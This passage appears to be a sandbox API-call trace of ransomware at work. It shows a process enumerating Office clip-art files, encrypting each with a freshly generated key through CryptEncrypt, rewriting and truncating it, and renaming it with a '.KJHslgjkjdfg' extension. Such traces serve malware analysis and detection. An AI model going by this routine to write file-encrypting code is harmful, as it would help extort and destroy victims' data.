nFileSizeLow=0x955d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0148798.JPG", cAlternateFileName="")) returned 1 [0173.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.683] GetProcessHeap () returned 0x2a0000 [0173.683] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.683] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.683] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.684] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x3, lpOverlapped=0x0) returned 1 [0173.686] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.686] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.686] GetProcessHeap () returned 0x2a0000 [0173.686] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.686] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.686] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.686] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.687] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.687] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.687] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.687] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.687] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.687] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.687] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.687] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.687] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x955d, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x955d, lpOverlapped=0x0) returned 1 [0173.689] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9560, dwBufLen=0x9560 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9560) returned 1 [0173.689] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.689] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9560, lpOverlapped=0x0) returned 1 [0173.689] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.689] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.689] SetEndOfFile (hFile=0x114) returned 1 [0173.692] GetProcessHeap () returned 0x2a0000 [0173.692] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.692] GetProcessHeap () returned 0x2a0000 [0173.692] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.692] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.kjhslgjkjdfg")) returned 1 [0173.694] CloseHandle (hObject=0x114) returned 1 [0173.694] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6b01, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0149018.JPG", cAlternateFileName="")) returned 1 [0173.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.695] GetProcessHeap () returned 0x2a0000 [0173.695] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.695] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.696] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0173.698] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.698] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.698] GetProcessHeap () returned 0x2a0000 [0173.698] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.698] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.698] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.698] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.698] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.698] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.698] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.699] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.699] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.699] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.699] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6b01, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6b01, lpOverlapped=0x0) returned 1 [0173.700] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6b10, dwBufLen=0x6b10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6b10) returned 1 [0173.700] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.700] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6b10, lpOverlapped=0x0) returned 1 [0173.701] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.701] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.701] SetEndOfFile (hFile=0x114) returned 1 [0173.703] GetProcessHeap () returned 0x2a0000 [0173.703] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.703] GetProcessHeap () returned 0x2a0000 [0173.703] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.kjhslgjkjdfg")) returned 1 [0173.705] CloseHandle (hObject=0x114) returned 1 [0173.705] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfd22, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0149118.JPG", cAlternateFileName="")) returned 1 [0173.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.707] GetProcessHeap () returned 0x2a0000 [0173.707] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.707] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.707] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0173.709] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.709] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.709] GetProcessHeap () returned 0x2a0000 [0173.709] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.710] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.710] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.710] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.710] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.710] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.710] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.710] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.710] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.710] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.710] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.710] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.710] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xfd22, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xfd22, lpOverlapped=0x0) returned 1 [0173.712] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xfd30, dwBufLen=0xfd30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xfd30) returned 1 [0173.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.713] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xfd30, lpOverlapped=0x0) returned 1 [0173.713] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.713] SetEndOfFile (hFile=0x114) returned 1 [0173.716] GetProcessHeap () returned 0x2a0000 [0173.716] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.716] GetProcessHeap () returned 0x2a0000 [0173.716] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.kjhslgjkjdfg")) returned 1 [0173.718] CloseHandle (hObject=0x114) returned 1 [0173.718] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb544, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0150150.WMF", cAlternateFileName="")) returned 1 [0173.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.719] GetProcessHeap () returned 0x2a0000 [0173.719] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.719] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.719] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.719] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.721] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.721] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.721] GetProcessHeap () returned 0x2a0000 [0173.721] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.721] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.721] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.721] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.721] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.721] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.722] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.722] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.722] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.722] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.722] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.722] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.722] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb544, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb544, lpOverlapped=0x0) returned 1 [0173.723] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb550, dwBufLen=0xb550 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb550) returned 1 [0173.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.724] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb550, lpOverlapped=0x0) returned 1 [0173.724] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.724] SetEndOfFile (hFile=0x114) returned 1 [0173.727] GetProcessHeap () returned 0x2a0000 [0173.727] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.727] GetProcessHeap () returned 0x2a0000 [0173.727] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.727] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.kjhslgjkjdfg")) returned 1 [0173.729] CloseHandle (hObject=0x114) returned 1 [0173.729] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0150861.WMF", cAlternateFileName="")) returned 1 [0173.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.729] GetProcessHeap () returned 0x2a0000 [0173.729] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.730] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.730] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0173.733] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.733] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.733] GetProcessHeap () returned 0x2a0000 [0173.733] 